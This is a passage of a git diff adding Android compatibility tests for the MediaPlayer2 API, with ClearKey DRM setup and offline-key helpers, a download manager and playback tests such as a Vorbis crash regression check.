+        mPlayer.setOnDrmConfigHelper(new MediaPlayer2.OnDrmConfigHelper() {
+            @Override
+            public void onDrmConfig(MediaPlayer2 mp, DataSourceDesc dsd) {
+                String widevineSecurityLevel3 = "L3";
+                String securityLevelProperty = "securityLevel";
+
+                try {
+                    String level = mp.getDrmPropertyString(securityLevelProperty);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: "
+                            + securityLevelProperty + " -> " + level);
+                    mp.setDrmPropertyString(securityLevelProperty, widevineSecurityLevel3);
+                    level = mp.getDrmPropertyString(securityLevelProperty);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: "
+                            + securityLevelProperty + " -> " + level);
+                } catch (MediaPlayer2.NoDrmSchemeException e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: NoDrmSchemeException");
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: onDrmConfig EXCEPTION " + e);
+                }
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V2: calling prepare()");
+        mPlayer.prepare();
+
+        mOnPreparedCalled.waitForSignal();
+        if (mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR) {
+            throw new IOException();
+        }
+
+        DrmInfo drmInfo = mPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V2: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener()
+            throws InterruptedException {
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mPlayer.setDrmEventCallback(mExecutor, new MediaPlayer2.DrmEventCallback() {
+            @Override
+            public void onDrmInfo(MediaPlayer2 mp, DataSourceDesc dsd, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo" + drmInfo);
+
+                // DRM preperation
+                List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.isEmpty()) {
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: No supportedSchemes");
+                    asyncSetupDrmError.set(true);
+                    mOnDrmInfoCalled.signal();
+                    // we won't call prepareDrm anymore but need to get passed the wait
+                    mOnDrmPreparedCalled.signal();
+                    return;
+                }
+
+                // setting up with the first supported UUID
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "preparePlayerAndDrm_V3: onDrmInfo: selected " + drmScheme);
+
+                try {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: calling prepareDrm");
+                    mp.prepareDrm(drmScheme);
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: called prepareDrm");
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: prepareDrm exception " + e);
+                    asyncSetupDrmError.set(true);
+                    mOnDrmInfoCalled.signal();
+                    // need to get passed the wait
+                    mOnDrmPreparedCalled.signal();
+                    return;
+                }
+
+                mOnDrmInfoCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo done!");
+            }
+
+            @Override
+            public void onDrmPrepared(MediaPlayer2 mp, DataSourceDesc dsd, int status) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared status: " + status);
+
+                assertTrue("preparePlayerAndDrm_V3: onDrmPrepared did not succeed",
+                           status == MediaPlayer2.PREPARE_DRM_STATUS_SUCCESS);
+
+                DrmInfo drmInfo = mPlayer.getDrmInfo();
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                mOnDrmPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V3: calling prepare()");
+        mPlayer.prepare();
+
+        // Waiting till the player is prepared
+        mOnPreparedCalled.waitForSignal();
+
+        // Unlike v3, onDrmPrepared is not synced to onPrepared b/c of its own thread handler
+        mOnDrmPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V3: setupDrm");
+        }
+    }
+
+    private void playLoadedModularDrmVideo_V4_offlineKey(final Uri file, final Integer width,
+            final Integer height, int playTime) throws Exception {
+        final float volume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        SurfaceHolder surfaceHolder = mActivity.getSurfaceHolder();
+        Log.v(TAG, "playLoadedModularDrmVideo_V4_offlineKey: setSurface " + surfaceHolder);
+        mPlayer.setSurface(surfaceHolder.getSurface());
+        surfaceHolder.setKeepScreenOn(true);
+
+        mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+        DrmInfo drmInfo = null;
+
+        for (int round = 0; round < 2; round++) {
+            boolean keyRequestRound = (round == 0);
+            boolean restoreRound = (round == 1);
+            Log.v(TAG, "playLoadedVideo: round " + round);
+
+            try {
+                mPlayer.setEventCallback(mExecutor, mECb);
+
+                Log.v(TAG, "playLoadedVideo: setDataSource()");
+                mPlayer.setDataSource(
+                        new DataSourceDesc.Builder().setDataSource(mContext, file).build());
+
+                Log.v(TAG, "playLoadedVideo: prepare()");
+                mPlayer.prepare();
+                mOnPreparedCalled.waitForSignal();
+
+                // but preparing the DRM every time with proper key request type
+                drmInfo = mPlayer.getDrmInfo();
+                if (drmInfo != null) {
+                    if (keyRequestRound) {
+                        // asking for offline keys
+                        setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                                 MediaDrm.KEY_TYPE_OFFLINE);
+                    } else if (restoreRound) {
+                        setupDrmRestore(drmInfo, true /* prepareDrm */);
+                    } else {
+                        fail("preparePlayer: unexpected round " + round);
+                    }
+                    Log.v(TAG, "preparePlayer: setupDrm done!");
+                }
+
+            } catch (IOException e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            Log.v(TAG, "playLoadedVideo: play()");
+            mPlayer.play();
+            if (!mAudioOnly) {
+                mOnVideoSizeChangedCalled.waitForSignal();
+            }
+            mPlayer.setPlayerVolume(volume);
+
+            // waiting to complete
+            if (playTime == 0) {
+                Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+                mOnPlaybackCompleted.waitForSignal();
+            } else {
+                Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+                mOnPlaybackCompleted.waitForSignal(playTime);
+            }
+
+            try {
+                if (drmInfo != null) {
+                    if (restoreRound) {
+                        // releasing the offline key
+                        setupDrm(null /* drmInfo */, false /* prepareDrm */,
+                                 true /* synchronousNetworking */, MediaDrm.KEY_TYPE_RELEASE);
+                        Log.v(TAG, "playLoadedVideo: released offline keys");
+                    }
+
+                    Log.v(TAG, "playLoadedVideo: releaseDrm");
+                    mPlayer.releaseDrm();
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            if (keyRequestRound) {
+                mOnPreparedCalled.reset();
+                mOnVideoSizeChangedCalled.reset();
+                mOnPlaybackCompleted.reset();
+                final int sleepBetweenRounds = 1000;
+                Thread.sleep(sleepBetweenRounds);
+
+                Log.v(TAG, "playLoadedVideo: reset");
+                mPlayer.reset();
+            }
+        }  // for
+    }
+
+    // Converts a BMFF PSSH initData to a raw cenc initData
+    protected byte[] makeCencPSSH(UUID uuid, byte[] bmffPsshData) {
+        byte[] pssh_header = new byte[] { (byte) 'p', (byte) 's', (byte) 's', (byte) 'h' };
+        byte[] pssh_version = new byte[] { 1, 0, 0, 0 };
+        int boxSizeByteCount = 4;
+        int uuidByteCount = 16;
+        int dataSizeByteCount = 4;
+        // Per "W3C cenc Initialization Data Format" document:
+        // box size + 'pssh' + version + uuid + payload + size of data
+        int boxSize = boxSizeByteCount + pssh_header.length + pssh_version.length
+                + uuidByteCount + bmffPsshData.length + dataSizeByteCount;
+        int dataSize = 0;
+
+        // the default write is big-endian, i.e., network byte order
+        ByteBuffer rawPssh = ByteBuffer.allocate(boxSize);
+        rawPssh.putInt(boxSize);
+        rawPssh.put(pssh_header);
+        rawPssh.put(pssh_version);
+        rawPssh.putLong(uuid.getMostSignificantBits());
+        rawPssh.putLong(uuid.getLeastSignificantBits());
+        rawPssh.put(bmffPsshData);
+        rawPssh.putInt(dataSize);
+
+        return rawPssh.array();
+    }
+
+    /*
+     * Sets up the DRM for the first DRM scheme from the supported list.
+     *
+     * @param drmInfo DRM info of the source
+     * @param prepareDrm whether prepareDrm should be called
+     * @param synchronousNetworking whether the network operation of key request/response will
+     *        be performed synchronously
+     */
+    private void setupDrm(DrmInfo drmInfo, boolean prepareDrm, boolean synchronousNetworking,
+            int keyType) throws Exception {
+        Log.d(TAG, "setupDrm: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm
+                + " synchronousNetworking: " + synchronousNetworking);
+        try {
+            byte[] initData = null;
+            String mime = null;
+            String keyTypeStr = "Unexpected";
+
+            switch (keyType) {
+                case MediaDrm.KEY_TYPE_STREAMING:
+                case MediaDrm.KEY_TYPE_OFFLINE:
+                    // DRM preparation
+                    List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+                    if (supportedSchemes.isEmpty()) {
+                        fail("setupDrm: No supportedSchemes");
+                    }
+
+                    // instead of supportedSchemes[0] in GTS
+                    UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                    Log.d(TAG, "setupDrm: selected " + drmScheme);
+
+                    if (prepareDrm) {
+                        mPlayer.prepareDrm(drmScheme);
+                    }
+
+                    byte[] psshData = drmInfo.getPssh().get(drmScheme);
+                    // diverging from GTS
+                    if (psshData == null) {
+                        initData = mClearKeyPssh;
+                        Log.d(TAG, "setupDrm: CLEARKEY scheme not found in PSSH."
+                                + " Using default data.");
+                    } else {
+                        // Can skip conversion if ClearKey adds support for BMFF initData b/64863112
+                        initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
+                    }
+                    Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: "
+                            + Arrays.toString(initData));
+
+                    // diverging from GTS
+                    mime = "cenc";
+
+                    keyTypeStr = (keyType == MediaDrm.KEY_TYPE_STREAMING)
+                            ? "KEY_TYPE_STREAMING" : "KEY_TYPE_OFFLINE";
+                    break;
+
+                case MediaDrm.KEY_TYPE_RELEASE:
+                    if (mKeySetId == null) {
+                        fail("setupDrm: KEY_TYPE_RELEASE requires a valid keySetId.");
+                    }
+                    keyTypeStr = "KEY_TYPE_RELEASE";
+                    break;
+
+                default:
+                    fail("setupDrm: Unexpected keyType " + keyType);
+            }
+
+            final MediaDrm.KeyRequest request = mPlayer.getDrmKeyRequest(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    initData,
+                    mime,
+                    keyType,
+                    null /* optionalKeyRequestParameters */
+                    );
+
+            Log.d(TAG, "setupDrm: mPlayer.getDrmKeyRequest(" + keyTypeStr
+                    + ") request -> " + request);
+
+            // diverging from GTS
+            byte[][] clearKeys = new byte[][] { CLEAR_KEY_CENC };
+            byte[] response = createKeysResponse(request, clearKeys);
+
+            // null is returned when the response is for a streaming or release request.
+            byte[] keySetId = mPlayer.provideDrmKeyResponse(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    response);
+            Log.d(TAG, "setupDrm: provideDrmKeyResponse -> " + Arrays.toString(keySetId));
+            // storing offline key for a later restore
+            mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
+
+        } catch (MediaPlayer2.NoDrmSchemeException e) {
+            Log.d(TAG, "setupDrm: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer2.ProvisioningNetworkErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningNetworkErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer2.ProvisioningServerErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningServerErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (UnsupportedSchemeException e) {
+            Log.d(TAG, "setupDrm: UnsupportedSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (ResourceBusyException e) {
+            Log.d(TAG, "setupDrm: ResourceBusyException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.d(TAG, "setupDrm: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrm
+
+    private void setupDrmRestore(DrmInfo drmInfo, boolean prepareDrm) throws Exception {
+        Log.d(TAG, "setupDrmRestore: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm);
+        try {
+            if (prepareDrm) {
+                // DRM preparation
+                List<UUID> supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.isEmpty()) {
+                    fail("setupDrmRestore: No supportedSchemes");
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "setupDrmRestore: selected " + drmScheme);
+
+                mPlayer.prepareDrm(drmScheme);
+            }
+
+            if (mKeySetId == null) {
+                fail("setupDrmRestore: Offline key has not been setup.");
+            }
+
+            mPlayer.restoreDrmKeys(mKeySetId);
+
+        } catch (MediaPlayer2.NoDrmSchemeException e) {
+            Log.v(TAG, "setupDrmRestore: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.v(TAG, "setupDrmRestore: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrmRestore
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Diverging from GTS
+
+    // Clearkey helpers
+
+    /**
+     * Convert a hex string into byte array.
+     */
+    private static byte[] hexStringToByteArray(String s) {
+        int len = s.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+                    + Character.digit(s.charAt(i + 1), 16));
+        }
+        return data;
+    }
+
+    /**
+     * Extracts key ids from the pssh blob returned by getDrmKeyRequest() and
+     * places it in keyIds.
+     * keyRequestBlob format (section 5.1.3.1):
+     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html
+     *
+     * @return size of keyIds vector that contains the key ids, 0 for error
+     */
+    private int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
+        if (0 == keyRequestBlob.length || keyIds == null) {
+            Log.e(TAG, "getKeyIds: Empty keyRequestBlob or null keyIds.");
+            return 0;
+        }
+
+        String jsonLicenseRequest = new String(keyRequestBlob);
+        keyIds.clear();
+
+        try {
+            JSONObject license = new JSONObject(jsonLicenseRequest);
+            Log.v(TAG, "getKeyIds: license: " + license);
+            final JSONArray ids = license.getJSONArray("kids");
+            Log.v(TAG, "getKeyIds: ids: " + ids);
+            for (int i = 0; i < ids.length(); ++i) {
+                keyIds.add(ids.getString(i));
+            }
+        } catch (JSONException e) {
+            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
+            return 0;
+        }
+        return keyIds.size();
+    }
+
+    /**
+     * Creates the JSON Web Key string.
+     *
+     * @return JSON Web Key string.
+     */
+    private String createJsonWebKeySet(Vector<String> keyIds, Vector<String> keys) {
+        String jwkSet = "{\"keys\":[";
+        for (int i = 0; i < keyIds.size(); ++i) {
+            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
+            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
+
+            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id + "\",\"k\":\"" + key + "\"}";
+        }
+        jwkSet += "]}";
+        return jwkSet;
+    }
+
+    /**
+     * Retrieves clear key ids from KeyRequest and creates the response in place.
+     */
+    private byte[] createKeysResponse(MediaDrm.KeyRequest keyRequest, byte[][] clearKeys) {
+
+        Vector<String> keyIds = new Vector<String>();
+        if (0 == getKeyIds(keyRequest.getData(), keyIds)) {
+            Log.e(TAG, "No key ids found in initData");
+            return null;
+        }
+
+        if (clearKeys.length != keyIds.size()) {
+            Log.e(TAG, "Mismatch number of key ids and keys: ids="
+                    + keyIds.size() + ", keys=" + clearKeys.length);
+            return null;
+        }
+
+        // Base64 encodes clearkeys. Keys are known to the application.
+        Vector<String> keys = new Vector<String>();
+        for (int i = 0; i < clearKeys.length; ++i) {
+            String clearKey = Base64.encodeToString(clearKeys[i],
+                    Base64.NO_PADDING | Base64.NO_WRAP);
+            keys.add(clearKey);
+        }
+
+        String jwkSet = createJsonWebKeySet(keyIds, keys);
+        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
+
+        return jsonResponse;
+    }
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Playback/download helpers
+
+    private static class MediaDownloadManager {
+        private static final String TAG = "MediaDownloadManager";
+
+        private final Context mContext;
+        private final DownloadManager mDownloadManager;
+
+        MediaDownloadManager(Context context) {
+            mContext = context;
+            mDownloadManager =
+                    (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        }
+
+        public long downloadFileWithRetries(Uri uri, Uri file, long timeout, int retries)
+                throws Exception {
+            long id = -1;
+            for (int i = 0; i < retries; i++) {
+                try {
+                    id = downloadFile(uri, file, timeout);
+                    if (id != -1) {
+                        break;
+                    }
+                } catch (Exception e) {
+                    removeFile(id);
+                    Log.w(TAG, "Download failed " + i + " times ");
+                }
+            }
+            return id;
+        }
+
+        public long downloadFile(Uri uri, Uri file, long timeout) throws Exception {
+            Log.i(TAG, "uri:" + uri + " file:" + file + " wait:" + timeout + " Secs");
+            final DownloadReceiver receiver = new DownloadReceiver();
+            long id = -1;
+            try {
+                IntentFilter intentFilter =
+                        new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+                mContext.registerReceiver(receiver, intentFilter);
+
+                Request request = new Request(uri);
+                request.setDestinationUri(file);
+                id = mDownloadManager.enqueue(request);
+                Log.i(TAG, "enqueue:" + id);
+
+                receiver.waitForDownloadComplete(timeout, id);
+            } finally {
+                mContext.unregisterReceiver(receiver);
+            }
+            return id;
+        }
+
+        public void removeFile(long id) {
+            Log.i(TAG, "removeFile:" + id);
+            mDownloadManager.remove(id);
+        }
+
+        public Uri getUriForDownloadedFile(long id) {
+            return mDownloadManager.getUriForDownloadedFile(id);
+        }
+
+        private final class DownloadReceiver extends BroadcastReceiver {
+            private HashSet<Long> mCompleteIds = new HashSet<>();
+
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (mCompleteIds) {
+                    if (DownloadManager.ACTION_DOWNLOAD_COMPLETE.equals(intent.getAction())) {
+                        mCompleteIds.add(
+                                intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1));
+                        mCompleteIds.notifyAll();
+                    }
+                }
+            }
+
+            private boolean isCompleteLocked(long... ids) {
+                for (long id : ids) {
+                    if (!mCompleteIds.contains(id)) {
+                        return false;
+                    }
+                }
+                return true;
+            }
+
+            public void waitForDownloadComplete(long timeoutSecs, long... waitForIds)
+                    throws InterruptedException {
+                if (waitForIds.length == 0) {
+                    throw new IllegalArgumentException("Missing IDs to wait for");
+                }
+
+                final long startTime = SystemClock.elapsedRealtime();
+                do {
+                    synchronized (mCompleteIds) {
+                        mCompleteIds.wait(1000);
+                        if (isCompleteLocked(waitForIds)) {
+                            return;
+                        }
+                    }
+                } while ((SystemClock.elapsedRealtime() - startTime) < timeoutSecs * 1000);
+
+                throw new InterruptedException(
+                        "Timeout waiting for IDs " + Arrays.toString(waitForIds)
+                        + "; received " + mCompleteIds.toString()
+                        + ".  Make sure you have WiFi or some other connectivity for this test.");
+            }
+        }
+
+    }  // MediaDownloadManager
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
new file mode 100644
index 0000000..fe4f7b9
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -0,0 +1,2283 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.hardware.Camera;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.DataSourceDesc;
+import android.media.Media2DataSource;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer2;
+import android.media.MediaRecorder;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SubtitleData;
+import android.media.SyncParams;
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Visualizer;
+import android.media.cts.R;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.CountDownLatch;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Tests for the MediaPlayer2 API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaPlayer2Test extends MediaPlayer2TestBase {
+    // TODO: remove this flag to enable tests.
+    private static final boolean IGNORE_TESTS = true;
+
+    private String RECORDED_FILE;
+    private static final String LOG_TAG = "MediaPlayer2Test";
+
+    private static final int  RECORDED_VIDEO_WIDTH  = 176;
+    private static final int  RECORDED_VIDEO_HEIGHT = 144;
+    private static final long RECORDED_DURATION_MS  = 3000;
+    private static final float FLOAT_TOLERANCE = .0001f;
+
+    private final Vector<Integer> mTimedTextTrackIndex = new Vector<>();
+    private final Monitor mOnTimedTextCalled = new Monitor();
+    private int mSelectedTimedTextIndex;
+
+    private final Vector<Integer> mSubtitleTrackIndex = new Vector<>();
+    private final Monitor mOnSubtitleDataCalled = new Monitor();
+    private int mSelectedSubtitleIndex;
+
+    private File mOutFile;
+
+    private int mBoundsCount;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        RECORDED_FILE = new File(Environment.getExternalStorageDirectory(),
+                "mediaplayer_record.out").getAbsolutePath();
+        mOutFile = new File(RECORDED_FILE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+    }
+
+    // Bug 13652927
+    public void testVorbisCrash() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        MediaPlayer2 mp = mPlayer;
+        MediaPlayer2 mp2 = mPlayer2;
+        AssetFileDescriptor afd2 = mResources.openRawResourceFd(R.raw.testmp3_2);
+        mp2.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+                .build());
+        Monitor onPrepareCalled = new Monitor();
+        Monitor onErrorCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    onPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                onErrorCalled.signal();
+            }
+        };
+        mp2.setMediaPlayer2EventCallback(mExecutor, ecb);
+        mp2.prepare();
+        onPrepareCalled.waitForSignal();
+        afd2.close();
+        mp2.clearMediaPlayer2EventCallback();
+
+        mp2.loopCurrent(true);
+        mp2.play();
+
+        for (int i = 0; i < 20; i++) {
+            try {
+                AssetFileDescriptor afd = mResources.openRawResourceFd(R.raw.bug13652927);
+                mp.setDataSource(new DataSourceDesc.Builder()
+                        .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
+                            afd.getLength())
+                        .build());
+                mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+                onPrepareCalled.reset();
+                mp.prepare();
+                onErrorCalled.waitForSignal();
+                afd.close();
+            } catch (Exception e) {
+                // expected to fail
+                Log.i("@@@", "failed: " + e);
+            }
+            Thread.sleep(500);
+            assertTrue("media player died", mp2.isPlaying());
+            mp.reset();
+        }
+    }
+
+    public void testPlayNullSourcePath() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        Monitor onSetDataSourceCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+                    assertTrue(status != MediaPlayer2.CALL_STATUS_NO_ERROR);
+                    onSetDataSourceCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        onSetDataSourceCalled.reset();
+        mPlayer.setDataSource((DataSourceDesc)null);
+        onSetDataSourceCalled.waitForSignal();
+    }
+
+    public void testPlayAudioFromDataURI() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int mp3Duration = 34909;
+        final int tolerance = 70;
+        final int seekDuration = 100;
+
+        // This is "R.raw.testmp3_2", base64-encoded.
+        final int resid = R.raw.testmp3_3;
+
+        InputStream is = mContext.getResources().openRawResource(resid);
+        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+
+        StringBuilder builder = new StringBuilder();
+        builder.append("data:;base64,");
+        builder.append(reader.readLine());
+        Uri uri = Uri.parse(builder.toString());
+
+        MediaPlayer2 mp = createMediaPlayer2(mContext, uri);
+
+        Monitor onPrepareCalled = new Monitor();
+        Monitor onPlayCalled = new Monitor();
+        Monitor onSeekToCalled = new Monitor();
+        Monitor onLoopCurrentCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    onPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    onPlayCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+                    onLoopCurrentCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    onSeekToCalled.signal();
+                }
+            }
+        };
+        mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        try {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                    .build();
+            mp.setAudioAttributes(attributes);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            assertFalse(mp.isLooping());
+            onLoopCurrentCalled.reset();
+            mp.loopCurrent(true);
+            onLoopCurrentCalled.waitForSignal();
+            assertTrue(mp.isLooping());
+
+            assertEquals(mp3Duration, mp.getDuration(), tolerance);
+            long pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < mp3Duration - seekDuration);
+
+            onSeekToCalled.reset();
+            mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+            onSeekToCalled.waitForSignal();
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test pause and restart
+            mp.pause();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            // test stop and restart
+            mp.reset();
+            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+            onPrepareCalled.reset();
+            mp.prepare();
+            onPrepareCalled.waitForSignal();
+
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            // waiting to complete
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
